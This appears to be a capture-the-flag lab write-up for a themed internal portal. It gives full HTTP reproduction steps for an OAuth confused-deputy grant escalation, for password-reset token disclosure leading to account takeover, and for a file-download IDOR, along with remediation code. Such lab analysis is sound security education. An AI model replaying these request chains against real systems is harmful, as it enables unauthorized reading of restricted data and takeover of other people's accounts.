MesaNet Access Panel: OAuth Connector-Review Confused Deputy to Restricted Archive
Executive Summary
MesaNet Access Panel is a Black Mesa themed internal portal (Express + EJS,
signed express-session cookie) that exposes an OAuth connector (“Connect
your account”) linking each user to a Nexus document provider. The headline
finding is an authorization delegation flaw in the connector review flow: an
authenticated user can generate a pending Nexus authorization request, forward
it to a reviewer through the portal’s Secure Mail, and have the reviewer’s
privileged connector client complete that authorization. The resulting
elevated grant binds to the requester’s own connection, giving the requester
read access to the Nexus Restricted Archive that their own account is never
authorized to reach.
Testing confirmed 3 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | OAuth connector-review confused deputy (Restricted Archive disclosure) | High | 7.7 | CWE-441 | POST /oauth/nexus/start -> POST /api/mail/send |
| F2 | Password-reset token disclosure via Security Queue -> account takeover | High | 8.8 | CWE-640, CWE-200 | POST /forgot -> GET /apps/secqueue -> POST /reset |
| F3 | Vault download IDOR / classification bypass | Medium | 5.3 | CWE-639, CWE-863 | GET /apps/vault/download?id= |
F1 is the flag-bearing finding. The Restricted Archive holds NX-DOC-204
(“Xen Survey, Authorization Annex”, classification restricted), whose body
is the objective flag. The archive’s resource grant is never offered to the
portal’s OAuth client and cannot be requested directly. It becomes reachable
only because the review step re-authorizes the requester’s connection with a
second, privileged connector client (lambda-archive-sync, scope
archive:read). The lesson generalizes: when a privileged party finishes an
authorization that a lower-privileged party started, the grant must bind to
the party whose authority was actually exercised, not to the initiator.
Objective
Capture the objective flag (bug{...}) hidden behind the portal’s “Connect
your account” connector feature. The flag is per-instance randomized; the
target is the Nexus Restricted Archive document, not a fixed string.
Scope / Initial Access
# Target Application
URL: https://lab-<id>.labs-app.bugforge.io # instanced lab, URL rotates each spin-up
Variant: blackmesa-005
# Auth details
Foothold credential: operator : operator # System Operator, User ID 1, Clearance L3
Session: signed express-session cookie "mesanet.sid" (HttpOnly, SameSite=Lax)
The foothold is a weak seeded credential. A role-based username guess
(operator) with the matching password (operator) authenticates as the
System Operator, User ID 1, Clearance L3. L3 is the highest clearance among
the eight seeded users; there is no administrator, root, or higher-privilege
account to escalate toward, so every finding below is either lateral or
crosses into a separate authorization authority (the Nexus provider). The
weak-credential foothold itself is documented separately in a prior MesaNet
writeup and is treated here only as the starting state.
Login hardening was extensive: SQL injection, NoSQL, LDAP, type confusion,
prototype pollution, credential spraying, and empty-password attempts all
failed against POST /login, with a per-IP rate limit near 10 attempts per
window. The role-based credential guess was the only working entry.
Reconnaissance: Mapping the Connector Flow and the Internal Proxy
The dashboard at / lists eleven applications, each mounted under /apps/.
Two surfaces shaped the test plan: an internal API proxy at /gateway, and
the Nexus OAuth connector under /apps/nexus.
/gatewayis a strict per-application internal proxy. It acceptsPOSTJSON of the form{id:<APP_ID>, endpoint:"/api/<app>/...", data:{...}}and forwards the call under the caller’s identity. It is strictly scoped: amailapplication id cannot call/api/vault/*, only/api/endpoints are allowed, and no absolute URLs are accepted. This makes it the sanctioned way to reach/api/mail/send.- The Nexus connector uses RFC 8707 resource indicators plus PKCE. The
authorization request pins
client_id=mesanet-research-portal,scope=documents:read profile:read, andresource=urn:nexus:research-index. The client is confidential (direct token exchange returnsinvalid_client). - Only one Nexus resource is offered; a second is marked off-limits. The
connector’s resource directory shows Research Index
(
urn:nexus:research-index) as connectable and a Restricted Archive as “NOT AUTHORIZED, separate resource grant required”. Its resource URN is never disclosed to the client. - The provider advertises an in-app review channel. A seeded mail message
from the reviewer account
vancestates that connector access reviews are handled by forwarding pending MesaNet requests through Secure Mail, and to “allow a few moments for the review to appear”. This is the pointer that turned the Restricted Archive from a client-side dead end into a server-side delegation target.
Observations 3 and 4 together framed F1: the client cannot request the restricted resource, but a reviewer reachable through Secure Mail can, and the review result is delivered in-app.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node.js, Express, EJS templates; case-insensitive routes |
| Session | Signed express-session cookie mesanet.sid (HttpOnly, SameSite=Lax) |
| Internal API | POST /gateway proxy, strictly scoped per application id |
| Connector | OAuth 2.0 client mesanet-research-portal, PKCE (S256), RFC 8707 resource indicators |
| Provider | Nexus identity/resource server (/nexus/oauth/*), separate account namespace (operator.nexus) |
API Surface (relevant subset)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/login |
POST | No | Weak seeded credential operator:operator; hardened otherwise |
/forgot |
POST | No | Mints a reset token, queued for “security review” |
/reset |
POST | No | Consumes {token,newPassword,confirmPassword} |
/apps/secqueue |
GET | Yes | Renders full /reset?token= links for all pending requests |
/apps/vault/download |
GET | Yes | Returns file bytes by id (16 hex), no ownership/classification check |
/gateway |
POST | Yes | Internal proxy {id,endpoint,data}, per-app scoped |
/oauth/nexus/start |
POST | Yes | Begins connector authorization; stores PKCE verifier + state in session |
/oauth/nexus/callback |
GET | Yes | Stores the connection |
/api/nexus/documents |
GET | Yes | Lists documents for the connected resource |
/api/nexus/imports |
POST | Yes | Imports a document by id; returns a job |
/api/nexus/imports/:jobId |
GET | Yes | Returns import result body + brokerReceipt |
Known Users
| Username | ID | Clearance |
|---|---|---|
| operator | 1 | L3 |
| researcher | 2 | L2 |
| security | 3 | L1 |
| kleiner | 4 | L3 |
| vance (Eli) | 5 | L3 (connector reviewer) |
| magnusson | 6 | L2 |
| colette | 7 | L2 |
| walter | 8 | L1 |
No administrator, breen, or root account exists. The reviewer vance
holds no higher portal clearance than operator; the privilege that matters
for F1 is the reviewer’s separate Nexus connector grant, not a portal role.
Attack Chain Visualization
┌───────────────┐ ┌───────────────────┐ ┌────────────────────┐ ┌────────────────────────┐
│ Login │ │ POST │ │ Forward auth URL │ │ Reviewer side finishes │
│ operator: │──▶│ /oauth/nexus/ │──▶│ to "vance" via │──▶│ authorization with │
│ operator │ │ start │ │ Secure Mail │ │ client │
│ (session S) │ │ = pending request │ │ /api/mail/send │ │ lambda-archive-sync │
└───────────────┘ │ authorize URL │ │ (via /gateway) │ │ (scope archive:read) │
└───────────────────┘ └────────────────────┘ └───────────┬────────────┘
│
grant binds to session S │
▼
┌────────────────────────┐ ┌────────────────────────┐ ┌────────────────────────────────┐
│ GET │ │ POST /api/nexus/imports │ │ GET /api/nexus/imports/:jobId │
│ /api/nexus/documents │──▶│ {documentId:NX-DOC-204} │──▶│ result.body = flag │
│ lists NX-DOC-204 │ │ -> {jobId} │ │ brokerReceipt confirms │
│ (Restricted Archive) │ │ │ │ restricted-archive grant │
└────────────────────────┘ └────────────────────────┘ └────────────────────────────────┘
Findings
F1: OAuth Connector-Review Confused Deputy (Restricted Archive Disclosure)
Severity: High
CVSS v3.1: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
CWE: CWE-441 (Unintended Proxy or Intermediary, “Confused Deputy”)
Endpoint: POST /oauth/nexus/start -> POST /api/mail/send (via /gateway) -> POST /api/nexus/imports
Authentication required: Yes (any seeded portal account)
Description
The connector review flow completes an authorization request on behalf of a reviewer, then binds the resulting grant to the connection of the user who initiated the request rather than to the reviewer. Three facts compound:
POST /oauth/nexus/startgenerates a Nexus authorization request in the caller’s session. The response is a303redirect whoseLocationis a full authorize URL carrying thestateand PKCEcode_challenge; the matching PKCE verifier is stored server-side in the caller’s session. This URL is the “pending MesaNet request” the provider’s review process expects.- Forwarding that URL to the reviewer account
vancethrough Secure Mail causes the reviewer side to complete the authorization using a separate, privileged connector client,lambda-archive-sync, whose grant coversurn:nexus:restricted-archivewith scopearchive:read. This client and resource are never offered to the portal’s own OAuth client. - The completed grant attaches to the initiator’s connection. After the
review, the initiator’s own
GET /api/nexus/documentslists Restricted Archive documents, andPOST /api/nexus/importsreturns their contents. The import result’sbrokerReceiptconfirms the grant client and resource.
The scope granted is read only (archive:read), so the confidentiality of
restricted documents is the impact; the creation of the grant is the mechanism
of the flaw rather than a separately leveraged integrity effect.
Impact
Allows an authenticated portal user to read documents in the Nexus Restricted Archive that their own connector grant does not authorize.
Reproduction
The captured requests below are from instance lab-1790447523211-xwyjnp; the
document body is the per-instance flag. Pre-connecting your own Nexus account
(operator.nexus to research-index) is not required, the review establishes
the elevated connection directly.
Step 1: Authenticate
POST /login HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
username=operator&password=operator
Response: 302 Found, Location: /, and
Set-Cookie: mesanet.sid=s%3AzuoItnUzv1gcTmGc_Pj890EJwky0t_L2.... This session
cookie (call it session S) is reused for every step below.
Step 2: Generate the pending authorization request
POST /oauth/nexus/start HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>
Response: 303 with a Location authorize URL:
https://lab-1790447523211-xwyjnp.labs-app.bugforge.io/nexus/oauth/authorize?response_type=code&client_id=mesanet-research-portal&redirect_uri=https%3A%2F%2Flab-1790447523211-xwyjnp.labs-app.bugforge.io%2Foauth%2Fnexus%2Fcallback&scope=documents%3Aread+profile%3Aread&resource=urn%3Anexus%3Aresearch-index&state=hvlxveZIh2cHIUfMUMPTYQ2QnBB7LV3BxmX3QCB5htM&code_challenge=XLNrifdW1TqlX4xWqa5g3EyM7JuhlMvxOW7NNbZSAaY&code_challenge_method=S256
Do not complete this authorization yourself. The state and code_challenge
are bound to session S server-side.
Step 3: Forward the authorization URL to the reviewer via Secure Mail
The mail application id (b3e8d1f6-...) is scraped from the mail app page’s
const APP_ID and is per-instance.
POST /gateway HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>
Content-Type: application/json
{"id":"b3e8d1f6-4c9a-4b2e-8f7d-6a1c9b3e5f8d","endpoint":"/api/mail/send","data":{"toUsername":"vance","subject":"Pending connector authorization","body":"Please review this pending MesaNet connector request: https://lab-1790447523211-xwyjnp.labs-app.bugforge.io/nexus/oauth/authorize?response_type=code&client_id=mesanet-research-portal&redirect_uri=https%3A%2F%2Flab-1790447523211-xwyjnp.labs-app.bugforge.io%2Foauth%2Fnexus%2Fcallback&scope=documents%3Aread+profile%3Aread&resource=urn%3Anexus%3Aresearch-index&state=hvlxveZIh2cHIUfMUMPTYQ2QnBB7LV3BxmX3QCB5htM&code_challenge=XLNrifdW1TqlX4xWqa5g3EyM7JuhlMvxOW7NNbZSAaY&code_challenge_method=S256","classification":"public"}}
Response:
{"id":12,"message":"Message sent successfully","messageDetails":{"id":12,"fromUserId":1,"fromUsername":"operator","toUserId":5,"toUsername":"vance","subject":"Pending connector authorization","classification":"public"}}
The message is delivered to the reviewer (User ID 5). Wait roughly 30 to 60 seconds for the review to run.
Step 4: Confirm the elevated grant on our own connection
GET /api/nexus/documents HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>
Response:
{"resource":"urn:nexus:research-index","documents":[{"id":"NX-DOC-204","title":"Xen Survey — Authorization Annex","classification":"restricted","location":"Restricted Archive","importable":false},{"id":"NX-DOC-205","ownerId":"nx-2042","title":"Lambda Displacement Field Notes","classification":"internal","body":"Phase variance remains within the revised Lambda Complex tolerance envelope.","location":"Research Index","importable":true}]}
NX-DOC-204 (classification restricted, location “Restricted Archive”) now
appears for session S, which before the review listed only the research-index
document. The response still labels the top-level resource as
research-index while listing the restricted document the review made
reachable.
Step 5: Import the restricted document
POST /api/nexus/imports HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>
Content-Type: application/json
{"documentId":"NX-DOC-204"}
Response: {"jobId":"c7fbd898-3096-4aa9-958c-a8f08476a87f","status":"queued"}.
The document is marked importable:false in the listing, but the import broker
accepts it because session S now holds the restricted-archive grant.
Step 6: Read the import result
GET /api/nexus/imports/c7fbd898-3096-4aa9-958c-a8f08476a87f HTTP/1.1
Host: lab-1790447523211-xwyjnp.labs-app.bugforge.io
Cookie: mesanet.sid=<session S>
Response:
{"jobId":"c7fbd898-3096-4aa9-958c-a8f08476a87f","documentId":"NX-DOC-204","status":"complete","targetResource":"urn:nexus:restricted-archive","result":{"id":"NX-DOC-204","ownerId":"nx-2042","title":"Xen Survey — Authorization Annex","classification":"restricted","body":"bug{eycIKmHNRGjbgwwSG6AsJDPkKHKziNrx}","location":"Restricted Archive"},"brokerReceipt":{"grantClient":"lambda-archive-sync","grantResource":"urn:nexus:restricted-archive","grantScopes":["archive:read"]}}
result.body is the flag. The brokerReceipt confirms the grant came from
client lambda-archive-sync on resource urn:nexus:restricted-archive with
scope archive:read, none of which the portal’s own client can request.
Remediation
Fix 1: Bind the completed grant to the party whose authority was used
The authorization must be completed and consumed in the same trust context that owns the credential exercising it. A reviewer completing a pending request should approve access for the requester’s own client and scopes, never re-authorize the requester’s connection under a different, privileged client.
// BEFORE (vulnerable): the review completes the pending request and attaches
// whatever grant the reviewer's client produced to the initiator's connection.
async function onReviewApproved(pendingRequest, reviewer) {
const grant = await nexus.authorize(reviewer.connectorClient, pendingRequest);
// grant may be lambda-archive-sync / restricted-archive
await connections.attach(pendingRequest.initiatorSessionId, grant);
}
// AFTER (secure): a review may only approve the requester's OWN client and the
// scopes originally requested; the grant is validated against them before it
// is attached.
async function onReviewApproved(pendingRequest, reviewer) {
const grant = await nexus.authorize(pendingRequest.client, pendingRequest);
assert(grant.client === 'mesanet-research-portal');
assert(grant.resource === pendingRequest.requestedResource);
assert(grant.scopes.every(s => pendingRequest.requestedScopes.includes(s)));
await connections.attach(pendingRequest.initiatorSessionId, grant);
}
Additional recommendations:
- Do not accept a full authorization URL (with another party’s
stateand PKCE challenge) as a review artifact. Reference pending requests by an opaque server-side id so a reviewer cannot complete an authorization that was minted in someone else’s session. - Enforce the
importableflag server-side in the import broker rather than as a display hint;NX-DOC-204wasimportable:falseyet imported. - Log and alert when a connection’s grant client or resource changes, since a
connection acquiring
lambda-archive-syncis a clear anomaly.
F2: Password-Reset Token Disclosure via Security Queue -> Account Takeover
Severity: High
CVSS v3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-640 (Weak Password Recovery Mechanism), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
Endpoint: POST /forgot -> GET /apps/secqueue -> POST /reset
Authentication required: Yes, to read the queue (the reset endpoints themselves are unauthenticated)
Description
Two compounding defects allow one authenticated user to take over any other account:
POST /forgotwith an identifier (unauthenticated) mints a valid password-reset token and places the request in a “security review” queue.GET /apps/secqueuerenders the full reset link, including the?token=<64 hex>value, for every pending request, to any authenticated user. The queue is described in the interface as pending requests awaiting officer relay, but it discloses the secret token rather than relaying it only to the account owner.
An attacker triggers a reset for the victim, reads the victim’s token from the queue, and completes the reset. Because the foothold account (operator) already holds the highest clearance present (L3), taking over any other account is lateral or downward movement rather than vertical privilege escalation, so it is rated High rather than Critical, but any account can be taken over.
Impact
Allows any authenticated user to take over any other account on the portal.
Reproduction
Step 1: Trigger a reset for the victim
POST /forgot HTTP/1.1
Host: lab-<id>.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
identifier=vance
Response: the request is accepted and queued “for security review”. No token is returned to the requester at this point.
Step 2: Read the victim’s reset token from the Security Queue
GET /apps/secqueue HTTP/1.1
Host: lab-<id>.labs-app.bugforge.io
Cookie: mesanet.sid=<attacker session>
Response: the queue page lists each pending request with its full reset link,
for example /reset?token=<64 hex characters>, including the one just created
for vance.
Step 3: Reset the victim’s password
POST /reset HTTP/1.1
Host: lab-<id>.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
token=<victim token from queue>&newPassword=NewPass123!&confirmPassword=NewPass123!
Response: the password is changed. Logging in with the victim username and the
new password then succeeds. This was verified against vance and the other
six non-operator accounts.
Remediation
Fix 1: Never display the reset token to anyone but the account owner
// BEFORE (vulnerable): the queue view exposes the full token to all viewers.
app.get('/apps/secqueue', requireAuth, async (req, res) => {
const pending = await resets.listPending(); // includes token
res.render('secqueue', { pending }); // template prints /reset?token=...
});
// AFTER (secure): the queue shows status only; the token is delivered out of
// band to the owner's verified contact and never rendered in a shared view.
app.get('/apps/secqueue', requireAuth, async (req, res) => {
const pending = (await resets.listPending())
.map(({ id, username, requestedAt, status }) => ({ id, username, requestedAt, status }));
res.render('secqueue', { pending }); // no token field
});
Additional recommendations:
- Deliver reset links only to the account owner’s verified channel, not to any in-portal queue.
- Bind tokens to a short expiry and single use, and rate-limit
POST /forgotper identifier.
F3: Vault Download IDOR / Classification Bypass
Severity: Medium
CVSS v3.1: 5.3 (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-863 (Incorrect Authorization)
Endpoint: GET /apps/vault/download?id=<16 hex>
Authentication required: Yes
Description
GET /apps/vault/download?id=<16 hex> returns the requested file’s bytes
without checking the requester’s ownership of the file or the file’s
classification label (an Insecure Direct Object Reference, IDOR). An
authenticated non-owner can therefore read another user’s confidential file. The file identifiers are random 16 hex values (a
64-bit space) and are not sequentially enumerable, so realistic exploitation
depends on obtaining a valid identifier from elsewhere; that constraint is why
this is rated Medium (AC:H) rather than High. If identifiers were
predictable, the same defect would be High.
Impact
Allows an authenticated user to read files belonging to other users regardless of ownership or classification, when a file identifier is known.
Reproduction
Step 1: Request a file owned by another user
GET /apps/vault/download?id=<16 hex id> HTTP/1.1
Host: lab-<id>.labs-app.bugforge.io
Cookie: mesanet.sid=<attacker session>
Response: the file’s raw bytes are returned. As operator (a non-owner), this
returned the CONFIDENTIAL file xen-survey-coords.txt owned by vance, with
no ownership or classification check applied. The vault held five seeded files
and no flag; the finding is the access-control defect, not the file contents.
Remediation
Fix 1: Enforce ownership and classification on download
// BEFORE (vulnerable): the handler streams any file by id.
app.get('/apps/vault/download', requireAuth, async (req, res) => {
const file = await vault.getById(req.query.id);
res.send(file.bytes);
});
// AFTER (secure): the handler checks that the caller may read this file.
app.get('/apps/vault/download', requireAuth, async (req, res) => {
const file = await vault.getById(req.query.id);
if (!file) return res.sendStatus(404);
if (file.ownerId !== req.session.userId &&
!canRead(req.session.clearance, file.classification)) {
return res.sendStatus(403);
}
res.send(file.bytes);
});
Additional recommendations:
- Do not rely on identifier randomness as an access control; treat unguessable ids as defense in depth only.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: F1 delegates a privileged connector grant to the wrong party; F2 exposes reset tokens to unauthorized viewers and enables account takeover; F3 returns files without an ownership or classification check.
- A04:2021 Insecure Design: The connector review flow accepts an authorization URL minted in another user’s session and completes it with a privileged client, a design that structurally enables the confused deputy in F1.
- A07:2021 Identification and Authentication Failures: The seeded
operator:operatorcredential provides the foothold, and F2 is a weak password recovery mechanism.
Tools Used
| Tool | Purpose |
|---|---|
| curl | Issuing and scripting the HTTP request chain |
| Caido | Intercepting proxy; captured the raw request/response pairs |
| ffuf | Endpoint and content discovery during reconnaissance |
References
- CWE-441 (Unintended Proxy or Intermediary, “Confused Deputy”): https://cwe.mitre.org/data/definitions/441.html
- CWE-640 (Weak Password Recovery Mechanism): https://cwe.mitre.org/data/definitions/640.html
- CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): https://cwe.mitre.org/data/definitions/200.html
- CWE-639 (Authorization Bypass Through User-Controlled Key): https://cwe.mitre.org/data/definitions/639.html
- CWE-863 (Incorrect Authorization): https://cwe.mitre.org/data/definitions/863.html
- OWASP Top 10 2021: A01 Broken Access Control, A04 Insecure Design, A07 Identification and Authentication Failures
- RFC 8707: Resource Indicators for OAuth 2.0
- RFC 7636: Proof Key for Code Exchange (PKCE)
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Override resource/scope at /oauth/nexus/start, authorize GET, consent POST, or callback |
Ignored or 400 unsupported Nexus resource / “unsupported permission set” |
The client is hardcoded to research-index; the resource is re-validated at every layer |
Direct token exchange at /nexus/oauth/token |
invalid_client |
Confidential client; no client secret was recoverable |
Brute the client_id (mesanet-archive, restricted, nexus-admin, etc.) |
“Unsupported OAuth client” | Only mesanet-research-portal is registered |
Guess the Restricted Archive resource URN (urn:nexus:restricted-archive) at the client |
Rejected | The client cannot request it regardless of the URN |
Import-broker mass assignment (targetResource, grantResource, ownerId, nexusAccount) and documentId injection |
Ignored or rejected | Broker validates documentId format and enforces account + grant |
Enumerate additional Nexus IdP accounts (admin.nexus, archivist.nexus, etc.) |
401 |
Only operator.nexus exists; no /nexus/forgot, /reset, or register |
Dev Console OTP brute (/dev/verify), including type confusion and OTP arrays |
Rejected; cookie-rotation gives unlimited attempts but single value per request | OTP array is string-coerced (multi-element never matches); 1M/60s window is impractical. Downgraded to a hardening note; the Dev Console was never accessed |
| External out-of-band listener to detect a reviewer bot | Null (no external callback) | The review channel is in-app (Secure Mail); an external null is structurally blind to it. This null had earlier been mistaken for “no reviewer bot”, which cost a prior instance the solve |
Enumerate the vault by incrementing id |
Not enumerable | Identifiers are random 16 hex (64-bit space) |
SSRF via vetting referenceUrl, and via /gateway |
Not fetched server-side; gateway allows only /api/ relative paths |
No server-side fetch of attacker URLs; no absolute URLs accepted |
Tags: #oauth #confused-deputy #broken-access-control #idor #account-takeover #bugforge
Document Version: 1.0
Last Updated: 2026-09-26